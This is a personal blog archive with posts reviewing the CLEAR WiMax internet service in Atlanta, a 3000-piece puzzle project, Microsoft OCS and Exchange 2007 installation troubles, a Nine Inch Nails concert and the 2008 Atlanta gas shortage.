    Before I share my results, though, a little bit about CLEAR WiMax. Basically they offer a viable alternative to your home internet, and they also offer a mobile option. There are a couple of options you can order from CLEAR. As the salesman told me, though (and I agree with him 100%), there is only one option: Unlimited Home and Mobile for $55/month. There are other ever-so-slightly cheaper plans that place caps on your data, or that only offer one of the two services. For $55/month, you get a fixed residential modem, plus you get a USB dongle that gives you internet pretty much anywhere in Metro Atlanta. See their local coverage map for Atlanta here.




    Mobile USB Modem


    Fixed residential modem


    Back of the residential modem

    With the Home and Mobile option, you get an advertised 6Mbps down and 500 Kbps up connection. This varies where you live, of course, since the WiMax towers are placed in various spots throughout Atlanta.

    My Results:

    When I received my trial package, the first thing I did was to pop it into a laptop running Windows XP just to get some quick speed tests.


    First speed test

    Since speedtests can sometimes be deceptive, I used a ~118 MB file to test upload and download speeds via FTP. These tests showed a consistent download speed of ~430 KB/s and an upload speed of ~58 KB/s. I did not notice any bandwidth throttling through the entire file transfer, a painfully obvious characteristic seen when uploading from a Comcast connection.


    Download summary


    Upload summary

    All of these numbers are from the mobile USB device on a Windows XP laptop. One peculiarity I found was that speedtest.net detected my network being in the Seattle/Portland area, which I believe is where the CLEAR WiMax main hub is located. When I selected the Atlanta server on speedtest.net, I got the following results:


    Speedtest with Atlanta server selected

    I'm not sure what that means, but I didn't have much time to play with different settings to notice any difference.

    Another oddity I discovered in all of my testing was that I was able to get noticeably faster speeds out of the mobile USB device than the fixed residential modem. While the mobile device would get an average 4.5 Mbps, the residential modem would get close to 3.5 Mbps. This is still not bad, it's just something I thought was odd. I was still able to watch high-def streams of the Daily Show from Hulu (as high-def as Hulu gets, anyway) through both the mobile and the residential connections. Pulling multiple streams through the residential modem might slow things down a bit, though.

    Installation for both mobile and residential modems was a breeze. You just run a quick installer for the USB device and when you plug the device in, all you have to do is open the CLEAR Connection Manager and click connect. The only drawbacks to using the mobile modem is that the software is not Windows 7 compatible, and even worse, it is not Mac compatible.


    Mobile USB modem with USB elbow

    The residential modem installation was even easier. I plugged the modem into the wall, then connected the ethernet cord from the modem into my AirPort Extreme wireless router. This was simply a matter of swapping my Comcast cable modem for the WiMax residential modem.

    I also had the chance to test this while riding in a car up to the Duluth area. I was getting very similar download/upload speeds while traveling at 70+ mph, and it only dropped out once around spaghetti junction (+/- a mile or two).


    • Super Easy Setup

    • Decent download/upload speeds

    • Affordable

    • Flexibility of having fast internet access throughout metro Atlanta


    • Not Windows 7 or Mac compatible

    • Speeds not nearly as fast as cable internet (this is only a negative if you actually need super-fast internet, which most people don't)

    • Unattractive and awkward USB dongle

    Final Thoughts:

    I think that CLEAR WiMax is a perfectly viable alternative to other broadband services. It's not as fast as my Comcast connection, but I don't necessarily need 18+ Mbps. It is definitely faster than any BellSouth DSL connection I've ever touched. It is cheaper than my Comcast service (because I don't have cable tv), and in addition to being cheaper, I get two connections - a fixed modem for my apartment and a totally separate mobile USB modem. The only reason I am not switching right now is because the USB modem is not Mac compatible, since my primary computer is my MacBook Pro.

    I recommend anyone in Atlanta to try out this service (to make sure it works at your residence and in locations where you would roam). You can get a 2-day trial by contacting William Higgins (find a short video about CLEAR WiMax and his contact info at www.wimaxatl.com). He's a sharp guy and will answer any questions you have about the service.

    UPDATE (9/15/09): If you sign up for Clear WiMax service, please use my referral code, n49dt2. Thanks!

    UPDATE (12/17/09): I was just informed that the Clear referral program was discontinued as of December 5th. If anything changes, I'll post another update here. Thanks to everything who used my referral code!

    UPDATE (6-24-12): I recently moved my blog to Octopress, and as part of that process I had to move my blog's comments to Disqus. I'm having problems getting the comments to show on the actual blog post pages. I say this because the comments for this post about CLEAR are crucial to the post. Almost everyone who commented (40+ people) were complaining about it. I'm working on getting the comments working, but in the meantime, if you want to see them, please email me (paul at this blog's domain name), leave a comment here (any new comments do show up successfully), or find me on twitter @paulbrown

  • Ravensburger 3000 piece puzzle

  • I generally keep a pretty busy schedule, but lately I've had more free time, and I moved into an apartment almost a year ago, so I have more space to work. So I decided to take the plunge and buy a 3000 piece puzzle. I was rooming with a German guy in the summer of 2003, and since we were enjoying a lot of puzzles with the kids at the local church day camp, he introduced me to the Ravensburger brand of puzzles. From then until now, I had only seen their puzzles in local board game shops or on their website, but I knew they made one of the biggest puzzles in the world, at 18000 pieces, and I knew that the build quality of their puzzles is among the best out there.

    A 1,000 piece puzzle is pretty normal for everyday puzzlers, so I wanted something more substantial than that, but I also knew I wasn't going to come close to the 18000 piece one. I have a thing for maps (I even have a world map shower curtain), so I figured this 3000 piece one would be a good puzzle to break me in.

    When I would tell people I was working on a 3000 piece puzzle, they would look at me like I was crazy. After a quick google search on Ravensburger puzzles, though, I think I have found some people way more crazy than I thought I'd find. This site is about a couple who probably assembled the 18000 piece Ravensburger before almost anyone else. Reading the comments on that page show that there are some dedicated people out there. One person spent ~$1900 getting the puzzle and then framing it! I also discovered there is a 24000 piece puzzle called the LIFE: The Great Challenge. There is a family who documented themselves putting this puzzle together, and I think I may use their technique to frame my tiny 3000 piece one.

    On several occasions I had groups of people help me put my puzzle together when we'd have movie nights at my apartment, but I probably did about 60% of it myself. I received the puzzle in the mail on 3/16/09 and finished it on 6/4/09. It is still taking up a good chunk of the kitchen table, but at least I have a table I can eat at now. Here's a visual timeline of the puzzling. For the next puzzle I do I think I will hang a camera above the table and make a time-lapse video of the process.


    03/16/09 6:01 PM


    03/16/09 6:04 PM


    03/16/09 6:06 PM

    img_9788 <p class="caption>03/16/09 7:28 PM


    03/25/09 10:28 PM


    03/25/09 10:28 PM


    04/01/09 6:13 PM


    04/06/09 8:59 PM

  • Microsoft's Office Communications Server Is Broken

  • At my day job, I primarily deal with Microsoft products, and of those, my main project is implementing Office Communications Server. I had rolled out a stripped down version of OCS 2007 back around Christmas, and in February Microsoft released OCS 2007 R2. The difference between the two versions is not worth going into here, but they did change some substantial infrastructure elements with the upgrade.

    As I was installing the 2007 version, I wanted to gouge my eyes out repeatedly, as the process to get the servers installed was painful to say the least. I was hoping they would fix at least some of this with the 2007 R2 release, but no, it is still just as painful. To sum up most of the frustration, I will say that the installer looks like an easy step-by-step walk-through, but there was a theme that kept recurring as I experienced this installation. You have to run different sub-steps of the installer from different servers under different usernames (Active Directory domain admins, schema admins, local administrators, etc.), and the error messages hardly gave a clue.

    Anyway, I won't bore you with too many details, but I did come across two particular screenshots that I thought were funny. In true This Is Broken taste (which has moved to Good Experience since I was actively following it), here are two screenshots that show that OCS is written sloppily, and is simply "broken".


    You're gonna give me that link to visit and not make it clickable!?

    error A little grammar check would be nice.

    There is plenty more I could write about with regard to this product, but I thought those two pictures summed it up pretty well.

  • Microsoft Exchange 2007 Setup Error

  • I don't plan on putting many posts about Microsoft products up here (who am I kidding, I have enough trouble posting anything), but I ran across this problem at work the other day and since it was a silly problem that wasted a few hours of my time, I thought I'd share it with you.

    Basically, I am installing Exchange 2007 from scratch in a test environment on a Windows Server 2008 virtual machine. Our domain controllers are all running Windows Server 2003, so we are running at a Window Server 2003 domain functional level. After having used the 32-bit evaluation version of Exchange 2007 to prep the schema, prep Active Directory, and prep the domains (the 64-bit version is required in production environments, and for domains with Server 2003 DC's, you have to use the 32-bit evaluation version for all the prep steps), I ran the Install Exchange step of the Exchanger installer application. Here's the resulting error I received from the installer:


    For the sake of Googlability (yes, that is a word), I will type out the error in plain text here.

    Error: Setup needs to contact the Active Directory schema master but this computer is not in the same Active Directory domain as the schema master (DC=abc,DC=org).

    Error: Setup encountered a problem while validating the state of Active Directory: Exchange organization-level objects have not been created, and setup cannot create them because the local computer is not in the same domain and site as the schema master. Run setup with the /prepareAD parameter on a computer in the domain gtri and site Default-First-Site-Name, and wait for replication to complete.

    Well, this error didn't help solve the problem at all, because the local computer was definitely in the same domain and site as the schema master. We eventually traced the problem back to the fact that I had used the 32-bit RTM version of Exchange to prep the schema, AD, and domains, instead of the 32-bit SP1 version of Exchange. I went back and reran the prep steps and the Exchange installation step went off without a hitch.

    So, lesson learned: When installing Exchange 2007 SP1 on a Windows Server 2008 machine (or any machine) and you have to prep the schema, Active Directory, and domains with the 32-bit version of Exchange 2007 because your DC's are 32-bit, make sure you are using the SP1 version of Exchange 2007 32-bit and not your old non-SP1 version you have sitting around.

  • Lights in the Sky

  • If you know me at all, you would probably assume I am not a Nine Inch Nails fan. If you had asked me a year ago if I liked NIN, I would've told you I was not a fan. A few things happened in recent months that have drawn me toward the creative genius that is Trent Reznor. Throughout the existence of NIN, Reznor has always been openly against the recording industry, doing things such as holding studio time under pseudonyms as to not draw attention from the recording industry. In early 2008, NIN released their latest album, The Slip, for free on the internet.


    This is where I come into the story. The Slip's free distribution caught the attention of the tech industry, with several of my favorite podcasts, including c|net's Buzz Out Loud and Leo Laporte's This Week In Tech. After hearing about it from these shows, I decided to download the album and see what it was like, knowing I wasn't particularly interested in Nine Inch Nails' music. As it turns out, this album sounded very different from the typical NIN songs you typical hear on the radio. Many songs do not have any lyrics and have an ambient feel to them, which I enjoy as background music.

    In addition to downloading this album and becoming slightly interested, I also saw that Ken Wilson, over at www.avclub.us was making his way down to the Atlanta showing of the Lights in the Sky tour, and he posted some videos of the show on his vimeo page. This is where I discovered that when Trent Reznor puts on a concert, he really provides a full immersive multimedia experience, not just a band playing loud rock music.

    I decided I wanted to see this show, but since I missed the Atlanta date, I checked out the tour dates and found that one of the shows was going to be in my hometown, Greenville, SC, at the BI-LO Center. My friend Simon and I headed up to the show, and I had no idea what to expect. I didn't know what Trent Reznor looked like, and I had only heard a small portion of NIN's music.

    I won't go on with all the mundane details, but it was a mind-blowing experience. There were three LED walls on stage (the front two being the kind that you can see through when no video is being transmitted), each could be lifted into the air, and there were several walls of movable lights as well. The video walls were interactive to both the music and to Trent's movement on stage. For instance, in one song, the band was enclosed in the front two video walls, both showing a rainstorm, and when Trent stepped close to the front wall, it would reveal him as he moved around. At other times in the concert, there would be a bump map moving to the beat of the synthesizers, all the while blended in with a live video feed of Trent's face with a microphone as he sang.

    I've posted some videos that I shot below, but check out the other links as well.

    The making of Nine Inch Nails' Lights in the Sky set: 

    NIN's website to let you remix multi-track NIN songs and listen to other folks' remixes: http://www.remix.nin.com

    NIN's YouTube video page: http://www.youtube.com/profile_videos?user=ninofficial

    My videos and pictures:

    NIN - The Greater Good






  • Atlanta Gas Shortage of 2008

  • Well, folks, I've been wanting to start blogging for a while now. The main reason I chose to hold off is because I didn't think I had much to write about, but lately I have more frequently had experiences that I thought would be blog-worthy. And if I start posting, maybe this thing will take a certain direction. In the meantime, consider this blog a stream of consciousness from my brain.

    Today I had my first true experience with gas shortages. I understand there was a gas shortage back in 1973 (see this page), but I have never experienced one of these in my lifetime.

    I haven't filled up my gas tank in 12 days (yes, I walk to work), but it was getting low, so I set out this morning to investigate the situation. I found about 15 gas stations without gas and 1 with gas. The one with gas was a Marathon station, and I didn't feel like waiting in line for gas.

    Later that day I decided I should suck it up and just go wait in line, so I drove back to Marathon and waited in this line that was wrapping around Northside Drive into 10th St. Here's a news guy filming the occasion:


    The wait was only about 10 minutes, but when I finally got to the pump, I saw this:


    Since I drive a BMW, I was a little concerned about putting this Octane Booster junk in my gas tank, but after calling a car-savvy friend, I went ahead and got the booster, which was in a scary hot orange bottle:


    This ended up adding about 30 cents per gallon of gas, so it wasn't quite the price gouge I thought it was going to be. My car seems to have been driving okay since I put this jet fuel in my gas tank.